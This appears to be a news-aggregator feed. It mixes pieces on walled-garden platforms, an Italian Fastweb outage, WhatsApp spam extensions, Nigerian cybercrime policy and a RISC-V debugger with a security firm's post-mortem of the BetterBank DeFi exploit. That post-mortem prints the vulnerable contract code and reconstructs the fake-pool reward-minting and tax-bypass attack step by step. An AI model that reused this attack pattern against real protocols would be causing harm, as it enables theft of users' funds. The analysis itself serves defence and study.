It was a bold move, and one that raised eyebrows among developers and technology commentators. But it worked. Consumers loved having access to a library of clean and functional apps, built right into the device. Meanwhile, they didn’t really care that they couldn’t run whatever kooky app some random on the Internet had dreamed up.

Apple sold the walled garden as a feature. It wasn’t ashamed or hiding the fact—it was proud of it. It promised apps with no viruses and no risks; a place where everything was curated and safe. The iPhone’s locked-down nature wasn’t a restriction; it was a selling point.

But it also meant Apple controlled everything. Every app paid Apple’s tax, and every update needed Apple’s permission. You couldn’t run software Apple didn’t approve, full stop. You might have paid for the device in your pocket, but you had no right to run what you wanted on it. Someone in Cupertino had the final say over that, not you.

When Android arrived on the scene, it offered the complete opposite concept to Apple’s control. It was open source, and based on Linux. You could load your own apps, install your own ROMs and even get root access to your device if you wanted. For a certain kind of user, that was appealing. Android would still offer an application catalogue of its own, curated by Google, but there was nothing stopping you just downloading other apps off the web, or running your own code.

Sadly, over the years, Android has been steadily walking back that openness. The justifications are always reasonable on their face. Security updates need to be mandatory because users are terrible at remembering to update. Sideloading apps need to come with warnings because users will absolutely install malware if you let them just click a button. Root access is too dangerous because it puts the security of the whole system and other apps at risk. But inch by inch, it gets harder to run what you want on the device you paid for.

Windows Watches and Waits

The walled garden has since become a contagion, with platforms outside the smartphone space considering the tantalizing possibilities of locking down. Microsoft has been testing the waters with the Microsoft Store for years now, with mixed results. Windows 10 tried to push it, and Windows 11 is trying harder. The store apps are supposedly more secure, sandboxed, easier to manage, and straightforward to install with the click of a button.
Microsoft has tried multiple times to sell versions of Windows that are locked to exclusively run apps from the Microsoft Store. Thus far, these attempts have been commercial failures. Credit: screenshot
Microsoft hasn’t pulled the trigger on fully locking down Windows. It’s flirted with the idea, but has seen little success. Windows RT and Windows 10 S were both locked to only run software signed by Microsoft—each found few takers. Desktop Windows remains stubbornly open, capable of running whatever executable you throw at it, even if it throws up a few more dialog boxes and question marks with every installer you run these days.

How long can this last? One hopes a great while yet. A great deal of users still expect a computer—a proper one, like a laptop or desktop—to run whatever mad thing they tell it to. However, there is an increasing userbase whose first experience of computing was in these locked-down tablet and smartphone environments. They aren’t so demanding about little things like proper filesystem access or the ability to run unsigned code. They might not blink if that goes away.

For now, desktop computing has the benefit of decades of tradition built in to it. Professional software, development tools, and specialized applications all depend on the ability to install whatever you need. Locking that down would break too many workflows for too many important customers. Masses of scientific users would flee to Linux the moment their obscure datalogger software couldn’t afford an official license to run on Windows;. Industrial users would baulk at having to rely on a clumsy Microsoft application store when bringing up new production lines.

Apple had the benefit that it was launching a new platform with the iPhone; one for which there were minimal expectations. In comparison, Microsoft would be climbing an almighty mountain to make the same move on the PC, where the culture is already so established. Apple could theoretically make moves in that direction with OS X and people would be perhaps less surprised, but it would still be company making a major shift when it comes to customer expectations of the product.

Here’s what bothers me most: we’re losing the idea that you can just try things with computers. That you can experiment. That you can learn by doing. That you can take a risk on some weird little program someone made in their spare time. All that goes away with the walled garden. Your neighbour can’t just whip up some fun gadget and share it with you without signing up for an SDK and paying developer fees. Your obscure game community can’t just write mods and share content because everything’s locked down. So much creativity gets squashed before it even hits the drawing board because it’s just not feasible to do it.

It’s hard to know how to fight this battle. So much ground has been lost already, and big companies are reluctant to listen to the esoteric wishers of the hackers and makers that actually care about the freedom to squirt whatever through their own CPUs. Ultimately, though, you can still vote with your wallet. Don’t let Personal Computing become Consumer Computing, where you’re only allowed to run code that paid the corporate toll. Make sure the computers you’re paying for are doing what you want, not just what the executives approved of for their own gain. It’s your computer, it should run what you want it to!

hackaday.com/2025/10/22/what-h…

Nella giornata di oggi, migliaia di utenti Fastweb in tutta Italia hanno segnalato problemi di connessione alla rete fissa, con interruzioni improvvise del servizio Internet e difficoltà a navigare o accedere ai principali siti web.

Le segnalazioni, raccolte su piattaforme come DownDetector, hanno iniziato a crescere rapidamente dalle prime ore del mattino, raggiungendo oltre 35.000 segnalazioni nel giro di poche ore.
Le aree più colpite sembrano essere Milano, Roma, Torino, Bologna, Napoli, Palermo e Firenze, ma i disservizi si sono estesi anche ad altre zone del Paese.

Molti utenti hanno lamentato assenza totale di connessione, problemi di routing e DNS, oltre a difficoltà nell’accesso a servizi Google, social network e piattaforme di streaming.

Dopo la pubblicazione del nostro articolo, Fastweb ha contattato Red Hot Cyber, fornendo una comunicazione ufficiale sullo stato della situazione:

Fastweb conferma che è in corso un disservizio temporaneo su rete fissa. I tecnici sono al lavoro per ripristinare i servizi nel minor tempo possibile. Fastweb si scusa con i clienti coinvolti e provvederà ad aggiornare tempestivamente sull’avanzamento dei lavori.

Al momento, i tecnici dell’azienda stanno lavorando per individuare la causa precisa del guasto e ripristinare progressivamente i collegamenti. La società invita i clienti coinvolti a monitorare i propri canali ufficiali per ricevere aggiornamenti in tempo reale sull’avanzamento dei lavori.

Red Hot Cyber continuerà a seguire la vicenda e a fornire aggiornamenti non appena saranno disponibili nuove informazioni.

L'articolo Fastweb conferma il problema e fornisce una dichiarazione ufficiale proviene da Red Hot Cyber.

I ricercatori hanno scoperto 131 estensioni per automatizzare il funzionamento di WhatsApp Web nello store ufficiale di Chrome. Tutte venivano utilizzate per inviare spam di massa agli utenti brasiliani.

Secondo gli analisti di Socket, tutte queste estensioni condividono la stessa base di codice, gli stessi design pattern e la stessa infrastruttura. Insieme, contano circa 20.905 utenti attivi.

“Non si tratta di un malware classico; è una campagna di spam automatizzata ad alto rischio che viola le regole della piattaforma”, spiega Kirill Boychenko, specialista di Socket. “Il codice viene iniettato direttamente nella pagina Web di WhatsApp, collaborando con gli script di WhatsApp per automatizzare gli invii di massa e la pianificazione in modo da aggirare la protezione anti-spam.”

L’obiettivo finale di questa campagna è inviare messaggi di massa tramite WhatsApp in modo da aggirare i limiti di frequenza dei messaggi e la protezione antispam della piattaforma. I ricercatori scrivono che questa attività è in corso da almeno nove mesi, con nuovi download e aggiornamenti delle estensioni osservati solo il 17 ottobre 2025.

Ogni estensione utilizza un nome e un logo diversi, ma la maggior parte è pubblicata dagli sviluppatori WL Extensão e WLExtensao. A volte, le estensioni vengono pubblicizzate come strumenti CRM per WhatsApp, promettendo di massimizzare le vendite tramite la versione web del messenger.

Gli esperti ritengono che tali differenze nel branding siano il risultato del franchising, che consente agli operatori di estensioni di inondare il Chrome Web Store con cloni dell’estensione ZapVende originale creata da DBX Tecnologia.

“Trasforma WhatsApp in un potente strumento di vendita e gestione dei contatti. Con Zap Vende avrai accesso a un CRM intuitivo, all’automazione dei messaggi, all’invio di email di massa, a un funnel di vendita visivo e molto altro”, si legge nella descrizione di un’estensione nel Chrome Web Store. “Organizza il servizio clienti, monitora i lead e pianifica i messaggi in modo pratico ed efficace.”

Secondo Socket, DBX Technology pubblicizza un programma di rivendita white-label che consente ai potenziali partner di rinnovare il marchio e vendere l’estensione WhatsApp Web con il proprio marchio. I ricercatori sottolineano che tutto ciò viola la politica antispam e antiabuso del Chrome Web Store. In particolare, agli sviluppatori e ai loro partner è vietato ospitare più estensioni con funzionalità duplicate sulla piattaforma.

Inoltre, è stato scoperto che DBX aveva pubblicato su YouTube dei video su come aggirare gli algoritmi anti-spam di WhatsApp quando si utilizzano tali estensioni.

L'articolo Scoperte 131 estensioni Chrome per WhatsApp Web utilizzate per spam di massa proviene da Red Hot Cyber.

La Nigeria stringe le maglie sulle operazioni di cyber-crimine all’interno del suo territorio e sta procedendo a un’ampia operazione di espulsione dei residenti stranieri sospettati di attività illecite.

L’Organized Crime and Corruption Reporting Project (Occrp) ha segnalato l’espulsione avvenuta a ottobre di 192 sospetti con cittadinanza di Cina, Filippine, Tunisia, Malesia, Pakistan, Kirghizistan e Timor Est arrestati e condannati per cyberterrorismo, frode informatica e reati correlati.

I soggetti in questione erano accusati di contribuire a uno schema di riciclaggio internazionale connesso alla conversione di denaro “sporco” in criptovalute e alla costruzione di schemi Ponzi. La presenza tra gli espulsi di esponenti dei Paesi dell’Asia orientale e del Kirghizistan, hub centroasiatico dell’aggiramento delle sanzioni da parte della Russia tramite gli exchange di criptovalute, alimenta la solidità di questa tesi. E non finisce qui. Ad agosto 50 cittadini cinesi e 102 soggetti in totale erano stati espulsi per un’analoga violazione della legge anti-cybercrimine nel Paese più popolato dell’Africa.

Come ha ricordato la Bbc:

La Nigeria è nota per le frodi online e le truffe sentimentali sono all’ordine del giorno. Secondo la Commissione per i reati economici e finanziari (EFCC), i casi di criminalità informatica sono stati tra i reati più diffusi in Nigeria lo scorso anno.

La Nigeria sta da tempo prendendo consapevolezza di essere un epicentro di catene del valore criminali transnazionali che seguono un principio di filiera e divisione del lavoro paragonabile a quello delle attività lecite sfruttando i meccanismi, soprattutto digitali e tecnologici, della globalizzazione.

Il Nigeria Cybercrimes Act del 2024 sostenuto dal presidente Bola Tinbu offre alla polizia e alle agenzie di sicurezza nazionali la possibilità di intercettare comunicazioni riservate di molti sospetti anche prima dell’emissione di un mandato dei tribunali in casi di percepito rischio securitario. Si è chiesto alle compagnie di telecomunicazioni di estendere i tempi di conservazione dei dati, alle banche di segnalare i bonifici sospetti tempestivamente, agli operatori fintech di prevenire le transazioni non autorizzate o illegali con le cripto.

Il “Guardian” di Lagos, una delle maggiori testate del Paese, ha scritto che “la Nigeria ha promosso attivamente delle partnership, tra cui un recente accordo di cooperazione in materia di sicurezza informatica con il Regno Unito nell’aprile 2025 e un accordo con l’FBI e il governo cambogiano, per intensificare gli sforzi contro la criminalità informatica internazionale” e avviato con l’appoggio di Londra e del Commonwealth un Joint Case Team on Cybercrime che riunisce “le principali agenzie di giustizia e sicurezza per migliorare l’individuazione, l’indagine e il perseguimento dei reati informatici”.

Da un lato, dunque, Abuja sta pensando a promuovere una serie di scenari operativi finalizzati a una maggiore sicurezza internazionale e alla prevenzione del cybercrime. Dall’altro, le normative introdotte internamente appaiono assai complesse e articolate e potenzialmente sospettabili di aprire la strada a repressioni della libertà d’espressione e a una sorveglianza estesa. In parallelo, l’assenza di un ragionamento politico sul ruolo delle mafie, specie quella nazionale, nel processo e lo scaricabarile su singoli soggetti – per quanto problematici – di nazionalità straniera potrebbe ridurre la percezione di un fenomeno che, a conti fatti, è di rango globale.

L'articolo La stretta della Nigeria sul cyber-crimine straniero proviene da InsideOver.

Agenzia per la Cybersicurezza Nazionale – Sala ACN, Corso d’Italia, 41, 00198, Roma

Il corso formativo concernerà il fenomeno dell’information disorder (lett. disordine informativo) e delle fake news, con particolare attenzione al quadro giuridico nazionale, europeo e internazionale e ai possibili rimedi. L’obiettivo è quello di fornire ai giornalisti strumenti utili per riconoscere e contrastare tale fenomeno, nell’interesse della qualità dell’informazione e della tutela del diritto dei cittadini a ricevere notizie verificate e attendibili.

Il corso si propone di approfondire i profili giuridici legati alla libertà di espressione, alla regolamentazione dell’informazione e alle responsabilità degli attori digitali.

Verranno esaminati strumenti normativi e casi concreti, nazionali e internazionali, per aiutare i giornalisti a orientarsi in un panorama sempre più complesso e sfidante. L’argomento è di rilevante importanza giornalistica per l’impatto che ha sulla credibilità dell’informazione e sul ruolo democratico della stampa. Verrà analizzato l’articolo 21 della Costituzione italiana, che tutela della libertà di espressione e di stampa, in cui ognuno ha il diritto di manifestare liberamente il proprio pensiero con qualsiasi mezzo di diffusione, ponendo le basi per una tutela ampia della libertà di espressione e informazione.

Con la digitalizzazione dell’informazione, le PSYOPS (psycological operations) hanno acquisito una potenza senza precedenti, diventando uno strumento chiave nei conflitti ibridi e nell’influenza mediatica globale. La manipolazione dell’informazione e dell’opinione pubblica, ingannare e arrecare danno a individui o società incide a livello multidimensionale, coinvolgendo diritto, politica, comunicazione, tecnologia, salute, cultura, sociale, ambiente e così via. Si osserverà come si può facilmente influenzare sentimenti, pensieri e azioni di un pubblico specifico, al fine di ottenere vantaggi strategici in ambito politico, militare o sociale.

Verranno illustrati diversi esempi di diffusione di fake news, alterazione di contenuti, uso strategico dei social per destabilizzare o polarizzare l’opinione pubblica. Si prenderà in esame l’articolo 19 del nuovo Codice Deontologico delle Giornaliste e dei Giornalisti che introduce una regola specifica sull’uso dell’intelligenza artificiale. In primo luogo, viene stabilito un principio fondamentale: le nuove tecnologie possono affiancare il lavoro giornalistico, ma non possono mai sostituirlo. Se una o un giornalista decide di utilizzare strumenti di intelligenza artificiale, ha il dovere di dichiararlo apertamente, sia nella produzione sia nell’elaborazione di testi, immagini o materiali sonori. Resta comunque sua la piena responsabilità del contenuto e del risultato finale, e deve sempre chiarire in che modo l’IA abbia contribuito al lavoro svolto. Inoltre, anche quando fa ricorso a queste tecnologie, la giornalista o il giornalista deve continuare a verificare attentamente fonti, dati e informazioni, garantendone la veridicità. L’uso dell’intelligenza artificiale, infatti, non può mai essere invocato come giustificazione per eludere i doveri deontologici che regolano la professione.

Introduzione:

Bruno Frattasi, direttore generale dell’Agenzia per la cybersicurezza nazionale (ACN);

Guido D’Ubaldo, presidente dell’Ordine dei Giornalisti del Lazio;

Carlo Bartoli, presidente nazionale dell’Ordine dei Giornalisti;

Vittorio Rizzi, direttore generale del DIS;

Lorenzo Guerini, CPASIR (Comitato Parlamentare per la Sicurezza della Repubblica);

Stefano Mannino, Generale di Corpo d’Armata (Esercito Italiano) e Presidente del Centro Alti Studi Difesa/Scuola Superiore Universitaria ad Ordinamento Speciale (CASD/SSUOS)

Relatori:

Arturo Di Corinto, Public Affairs and Communication Advisor nell’Agenzia per la cybersicurezza nazionale (ACN);

Ranieri Razzante, professore e avvocato, docente di Cybercrime Università di Perugia e Membro Comitato per la strategia su IA;

Federica Fabrizzi, professoressa ordinaria di Diritto dell’informazione presso il Dipartimento di Scienze Politiche dell’Università La Sapienza di Roma;

Oreste Pollicino, professore ordinario di Diritto costituzionale e regolamentazione dell’intelligenza artificiale alla Bocconi;

Luigi Camilloni, direttore responsabile dell’Agenparl (Agenzia parlamentare) ed esperto in PSYOPS;

Laura Camilloni, caporedattore dell’Agenparl (Agenzia parlamentare) ed esperta in information disorder;

Manuela Biancospino, consigliera dell’Ordine dei Giornalisti del Lazio

dicorinto.it/formazione/notizi…

[bogdanthegeek] has a lot of experience with the ARM platform, and their latest escapade into working with cheap ARM chips recovered from disposable vapes involved a realization that it was just plain wrong to debug such recovered silicon with something as expensive as a Pi Pico. No, they needed to build a debugger using the super cheap CH32V003.

What follows is an interesting tour around ARM Debug Access Probe (DAP) programmers and creating a practical USB-connected device that actually works with modern toolchains. The first problem to be solved was that of host connectivity. These days, it’s USB or go home, which immediately limits the microcontrollers you can choose. Luckily for [Bogdan], they were aware of the excellent work by [cnlohr] on wedging low-speed USB support onto the RISC-V CH32v003 with the software-only bit-banging rv003usb, which provided a starting point. The next issue was to check for interrupt-driven endpoint support (needed for low-speed USB) in the Mac OS X kernel, which they knew was being dropped at an alarming rate (well, at least for full-speed). Luckily, the CMSIS-DAP standard required support for interrupt-driven USB endpoints, so kernel support was likely intact.

Next, [Bogdan] noticed that the DAPLink project had been ported to the bigger, native-USB WCH chips like the CH32V203, so it was a matter of porting this code to the diminutive CH32V003 using the rv003usb stack for the USB support using [cnlohr]’s ch32fun toolchain. There were a few bumps along the way with a lack of clarity in the DAPLink code, and some inconsistencies (across platforms) with the USB library dependencies of the upstream tool pyOCD, but they did get some tools working on at least Mac OS and some others on Linux. Which was nice.

We’ve covered the CH32V003 a fair bit, with people trying to give it all kinds of big-CPU tricks, such as speech recognition (of sorts) or even building a supercluster.

hackaday.com/2025/10/22/worlds…

Mattinata difficile per i clienti Fastweb: dalle 9:30 circa, il numero di segnalazioni di malfunzionamento è schizzato alle stelle. Secondo i dati di Downdetector, le interruzioni hanno superato le 35.000 segnalazioni, concentrandosi soprattutto tra le 10:00 e le 11:00.

Gli utenti riferiscono assenza totale di connessione Internet, difficoltà nel caricare siti web, accedere ai servizi Google o inviare e-mail, sia da rete fissa che mobile.

Sui canali di discussione come Downdetector e Reddit, le testimonianze concordano: il problema non riguarda i dispositivi degli utenti, ma la rete centrale di Fastweb.

Molti segnalano anomalie nel sistema DNS (Domain Name System), che impedisce la traduzione dei nomi di dominio in indirizzi IP raggiungibili.

Un utente scrive:

Non è il modem che ha perso la testa: è la mappa delle rotte di Fastweb che ha fatto un faceplant. In pratica i nomi non si risolvono (DNS), e cambiare DNS aiuta solo se la vostra “strada” verso Google/Cloudflare è già stata riaperta…

Altri notano comportamenti particolari della rete, come il funzionamento parziale di alcune app:

Chiedo informazioni a qualcuno di voi: com’è possibile che su Instagram funziona tutto (aggiornamento pagina, visualizzazione video, reel, messaggi, commenti ecc…) usando la linea Wi-Fi che è in down, mentre Google e tante altre piattaforme niente? Succede anche a qualcun’altro?

Secondo diversi esperti, ciò può dipendere da cache locali o CDN alternative che continuano a servire parte del traffico, anche in presenza di problemi DNS o di routing.
Analisi CheckHost alle 13:09 del 22/10/2025
Numerosi utenti lamentano non solo problemi di collegamento, ma anche l’inaccessibilità del sito web ufficiale di Fastweb, che restituisce messaggi di errore o richiede tempi di caricamento eccessivi.

Anche i tentativi di contattare il servizio di assistenza clienti tramite il numero 192193 si stanno rivelando difficoltosi, con molti utenti che non riescono a ottenere risposta. Sui canali social, soprattutto su X (ex Twitter) e Facebook, l’azienda sta ricevendo un flusso costante di richieste di informazioni, segnalazioni e critiche.

L’hashtag #fastwebdown sta risultando tra i più popolari, con centinaia di post ogni minuto.

L'articolo Malfunzionamento Fastweb: migliaia di utenti senza connessione Internet proviene da Red Hot Cyber.

Executive summary

From August 26 to 27, 2025, BetterBank, a decentralized finance (DeFi) protocol operating on the PulseChain network, fell victim to a sophisticated exploit involving liquidity manipulation and reward minting. The attack resulted in an initial loss of approximately $5 million in digital assets. Following on-chain negotiations, the attacker returned approximately $2.7 million in assets, mitigating the financial damage and leaving a net loss of around $1.4 million. The vulnerability stemmed from a fundamental flaw in the protocol’s bonus reward system, specifically in the swapExactTokensForFavorAndTrackBonus function. This function was designed to mint ESTEEM reward tokens whenever a swap resulted in FAVOR tokens, but critically, it lacked the necessary validation to ensure that the swap occurred within a legitimate, whitelisted liquidity pool.

A prior security audit by Zokyo had identified and flagged this precise vulnerability. However, due to a documented communication breakdown and the vulnerability’s perceived low severity, the finding was downgraded, and the BetterBank development team did not fully implement the recommended patch. This incident is a pivotal case study demonstrating how design-level oversights, compounded by organizational inaction in response to security warnings, can lead to severe financial consequences in the high-stakes realm of blockchain technology. The exploit underscores the importance of thorough security audits, clear communication of findings, and multilayered security protocols to protect against increasingly sophisticated attack vectors.

In this article, we will analyze the root cause, impact, and on-chain forensics of the helper contracts used in the attack.

Incident overview

Incident timeline

The BetterBank exploit was the culmination of a series of events that began well before the attack itself. In July 2025, approximately one month prior to the incident, the BetterBank protocol underwent a security audit conducted by the firm Zokyo. The audit report, which was made public after the exploit, explicitly identified a critical vulnerability related to the protocol’s bonus system. Titled “A Malicious User Can Trade Bogus Tokens To Qualify For Bonus Favor Through The UniswapWrapper,” the finding was a direct warning about the exploit vector that would later be used. However, based on the documented proof of concept (PoC), which used test Ether, the severity of the vulnerability was downgraded to “Informational” and marked as “Resolved” in the report. The BetterBank team did not fully implement the patched code snippet.

The attack occurred on August 26, 2025. In response, the BetterBank team drained all remaining FAVOR liquidity pools to protect the assets that had not yet been siphoned. The team also took the proactive step of announcing a 20% bounty for the attacker and attempted to negotiate the return of funds.

Remarkably, these efforts were successful. On August 27, 2025, the attacker returned a significant portion of the stolen assets – 550 million DAI tokens. This partial recovery is not a common outcome in DeFi exploits.

Financial impact

This incident had a significant financial impact on the BetterBank protocol and its users. Approximately $5 million worth of assets was initially drained. The attack specifically targeted liquidity pools, allowing the perpetrator to siphon off a mix of stablecoins and native PulseChain assets. The drained assets included 891 million DAI tokens, 9.05 billion PLSX tokens, and 7.40 billion WPLS tokens.

In a positive turn of events, the attacker returned approximately $2.7 million in assets, specifically 550 million DAI. These funds represented a significant portion of the initial losses, resulting in a final net loss of around $1.4 million. This figure speaks to the severity of the initial exploit and the effectiveness of the team’s recovery efforts. While data from various sources show minor fluctuations in reported values due to real-time token price volatility, they consistently point to these key figures.

A detailed breakdown of the losses and recovery is provided in the following table:

Protocol description and vulnerability analysis

The BetterBank protocol is a decentralized lending platform on the PulseChain network. It incorporates a two-token system that incentivizes liquidity provision and engagement. The primary token is FAVOR, while the second, ESTEEM, acts as a bonus reward token. The protocol’s core mechanism for rewarding users was tied to providing liquidity for FAVOR on decentralized exchanges (DEXs). Specifically, a function was designed to mint and distribute ESTEEM tokens whenever a trade resulted in FAVOR as the output token. While seemingly straightforward, this incentive system contained a critical design flaw that an attacker would later exploit.

The vulnerability was not a mere coding bug, but a fundamental architectural misstep. By tying rewards to a generic, unvalidated condition – the appearance of FAVOR in a swap’s output – the protocol created an exploitable surface. Essentially, this design choice trusted all external trading environments equally and failed to anticipate that a malicious actor could replicate a trusted environment for their own purposes. This is a common failure in tokenomics, where the focus on incentivization overlooks the necessary security and validation mechanisms that should accompany the design of such features.

The technical root cause of the vulnerability was a fundamental logic flaw in one of BetterBank’s smart contracts. The vulnerability was centered on the swapExactTokensForFavorAndTrackBonus function. The purpose of this function was to track swaps and mint ESTEEM bonuses. However, its core logic was incomplete: it only verified that FAVOR was the output token from the swap and failed to validate the source of the swap itself. The contract did not check whether the transaction originated from a legitimate, whitelisted liquidity pool or a registered contract. This lack of validation created a loophole that allowed an attacker to trigger the bonus system at will by creating a fake trading environment.

This primary vulnerability was compounded by a secondary flaw in the protocol’s tokenomics: the flawed design of convertible rewards.

The ESTEEM tokens, minted as a bonus, could be converted back into FAVOR tokens. This created a self-sustaining feedback loop. An attacker could trigger the swapExactTokensForFavorAndTrackBonus function to mint ESTEEM, and then use those newly minted tokens to obtain more FAVOR. The FAVOR could then be used in subsequent swaps to mint even more ESTEEM rewards. This cyclical process enabled the attacker to generate an unlimited supply of tokens and drain the protocol’s real reserves. The synergistic combination of logic and design flaws created a high-impact attack vector that was difficult to contain once initiated.

To sum it up, the BetterBank exploit was the result of a critical vulnerability in the bonus minting system that allowed attackers to create fake liquidity pairs and harvest an unlimited amount of ESTEEM token rewards. As mentioned above, the system couldn’t distinguish between legitimate and malicious liquidity pairs, creating an opportunity for attackers to generate illegitimate token pairs. The BetterBank system included protection measures against attacks capable of inflicting substantial financial damage – namely a sell tax. However, the threat actors were able to bypass this tax mechanism, which exacerbated the impact of the attack.

Exploit breakdown

The exploit targeted the bonus minting system of the favorPLS.sol contract, specifically the logBuy() function and related tax logic. The key vulnerable components are:

1. File: favorPLS.sol
2. Vulnerable function: logBuy(address user, uint256 amount)
3. Supporting function: calculateFavorBonuses(uint256 amount)
4. Tax logic: _transfer() function

The logBuy function only checks if the caller is an approved buy wrapper; it doesn’t validate the legitimacy of the trading pair or liquidity source.
function logBuy(address user, uint256 amount) external {
require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");

(uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount);
pendingBonus[user] += userBonus;

esteem.mint(treasury, treasuryBonus);
emit EsteemBonusLogged(user, userBonus, treasuryBonus);
The tax only applies to transfers to legitimate, whitelisted addresses that are marked as isMarketPair[recipient]. By definition, fake, unauthorized LPs are not included in this mapping, so they bypass the maximum 50% sell tax imposed by protocol owners.
function _transfer(address sender, address recipient, uint256 amount) internal override {
uint256 taxAmount = 0;

if (_isTaxExempt(sender, recipient)) {
super._transfer(sender, recipient, amount);
return;
}

// Transfer to Market Pair is likely a sell to be taxed
if (isMarketPair[recipient]) {
taxAmount = (amount * sellTax) / MULTIPLIER;
}

if (taxAmount > 0) {
super._transfer(sender, treasury, taxAmount);
amount -= taxAmount;
}

super._transfer(sender, recipient, amount);
}
The uniswapWraper.sol contract contains the buy wrapper functions that call logBuy(). The system only checks if the pair is in allowedDirectPair mapping, but this can be manipulated by creating fake tokens and adding them to the mapping to get them approved.
function swapExactTokensForFavorAndTrackBonus(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external {
address finalToken = path[path.length - 1];
require(isFavorToken[finalToken], "Path must end in registered FAVOR");
require(allowedDirectPair[path[0]][finalToken], "Pair not allowed");
require(path.length == 2, "Path must be direct");

// ... swap logic ...

uint256 twap = minterOracle.getTokenTWAP(finalToken);
if(twap < 3e18){
IFavorToken(finalToken).logBuy(to, favorReceived);
}
}

Step-by-step attack reconstruction

The attack on BetterBank was not a single transaction, but rather a carefully orchestrated sequence of on-chain actions. The exploit began with the attacker acquiring the necessary capital through a flash loan. Flash loans are a feature of many DeFi protocols that allow a user to borrow large sums of assets without collateral, provided the loan is repaid within the same atomic transaction. The attacker used the loan to obtain a significant amount of assets, which were then used to manipulate the protocol’s liquidity pools.

The attacker used the flash loan funds to target and drain the real DAI-PDAIF liquidity pool, a core part of the BetterBank protocol. This initial step was crucial because it weakened the protocol’s defenses and provided the attacker with a large volume of PDAIF tokens, which were central to the reward-minting scheme.

Capital acquisition

After draining the real liquidity pool, the attacker moved to the next phase of the operation. They deployed a new, custom, and worthless ERC-20 token. Exploiting the permissionless nature of PulseX, the attacker then created a fake liquidity pool, pairing their newly created bogus token with PDAIF.

This fake pool was key to the entire exploit. It enabled the attacker to control both sides of a trading pair and manipulate the price and liquidity to their advantage without affecting the broader market.

One critical element that made this attack profitable was the protocol’s tax logic. BetterBank had implemented a system that levied high fees on bulk swaps to deter this type of high-volume trading. However, the tax only applied to “official” or whitelisted liquidity pairs. Since the attacker’s newly created pool was not on this list, they were able to conduct their trades without incurring any fees. This critical loophole ensured the attack’s profitability.

Fake LP pair creation

After establishing the bogus token and fake liquidity pool, the attacker initiated the final and most devastating phase of the exploit: the reward minting loop. They executed a series of rapid swaps between their worthless token and PDAIF within their custom-created pool. Each swap triggered the vulnerable swapExactTokensForFavorAndTrackBonus function in the BetterBank contract. Because the function did not validate the pool, it minted a substantial bonus of ESTEEM tokens with each swap, despite the illegitimacy of the trading pair.

Each swap triggers:

• swapExactTokensForFavorAndTrackBonus()
• logBuy() function call
• calculateFavorBonuses() execution
• ESTEEM token minting (44% bonus)
• fake LP sell tax bypass

Reward minting loop

The newly minted ESTEEM tokens were then converted back into FAVOR tokens, which could be used to facilitate more swaps. This created a recursive loop that allowed the attacker to generate an immense artificial supply of rewards and drain the protocol’s real asset reserves. Using this method, the attacker extracted approximately 891 million DAI, 9.05 billion PLSX, and 7.40 billion WPLS, effectively destabilizing the entire protocol. The success of this multi-layered attack demonstrates how a single fundamental logic flaw, combined with a series of smaller design failures, can lead to a catastrophic outcome.

Economic impact comparison

Mitigation strategy

This attack could have been averted if a number of security measures had been implemented.

First, the liquidity pool should be verified during a swap. The LP pair and liquidity source must be valid.
function logBuy(address user, uint256 amount) external {
require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");

// ADD: LP pair validation
require(isValidLPPair(msg.sender), "Invalid LP pair");
require(hasMinimumLiquidity(msg.sender), "Insufficient liquidity");
require(isVerifiedPair(msg.sender), "Unverified trading pair");

// ADD: Amount limits
require(amount <= MAX_SWAP_AMOUNT, "Amount exceeds limit");

(uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount);
pendingBonus[user] += userBonus;

esteem.mint(treasury, treasuryBonus);
emit EsteemBonusLogged(user, userBonus, treasuryBonus);
}
The sell tax should be applied to all transfers.
function _transfer(address sender, address recipient, uint256 amount) internal override {
uint256 taxAmount = 0;

if (_isTaxExempt(sender, recipient)) {
super._transfer(sender, recipient, amount);
return;
}

// FIX: Apply tax to ALL transfers, not just market pairs
if (isMarketPair[recipient] || isUnverifiedPair(recipient)) {
taxAmount = (amount * sellTax) / MULTIPLIER;
}

if (taxAmount > 0) {
super._transfer(sender, treasury, taxAmount);
amount -= taxAmount;
}

super._transfer(sender, recipient, amount);
}
To prevent large-scale one-time attacks, a daily limit should be introduced to stop users from conducting transactions totaling more than 10,000 ESTEEM tokens per day.
mapping(address => uint256) public lastBonusClaim;
mapping(address => uint256) public dailyBonusLimit;
uint256 public constant MAX_DAILY_BONUS = 10000 * 1e18; // 10K ESTEEM per day

function logBuy(address user, uint256 amount) external {
require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");

// ADD: Rate limiting
require(block.timestamp - lastBonusClaim[user] > 1 hours, "Rate limited");
require(dailyBonusLimit[user] < MAX_DAILY_BONUS, "Daily limit exceeded");

// Update rate limiting
lastBonusClaim[user] = block.timestamp;
dailyBonusLimit[user] += calculatedBonus;

// ... rest of function
}

On-chain forensics and fund tracing

The on-chain trail left by the attacker provides a clear forensic record of the exploit. After draining the assets on PulseChain, the attacker swapped the stolen DAI, PLSX, and WPLS for more liquid, cross-chain assets. The perpetrator then bridged approximately $922,000 worth of ETH from the PulseChain network to the Ethereum mainnet. This was done using a secondary attacker address beginning with 0xf3BA…, which was likely created to hinder exposure of the primary exploitation address. The final step in the money laundering process was the use of a crypto mixer, such as Tornado Cash, to obscure the origin of the funds and make them untraceable.

Tracing the flow of these funds was challenging because many public-facing block explorers for the PulseChain network were either inaccessible or lacked comprehensive data at the time of the incident. This highlights the practical difficulties associated with on-chain forensics, where the lack of a reliable, up-to-date block explorer can greatly hinder analysis. In these scenarios, it becomes critical to use open-source explorers like Blockscout, which are more resilient and transparent.

The following table provides a clear reference for the key on-chain entities involved in the attack:

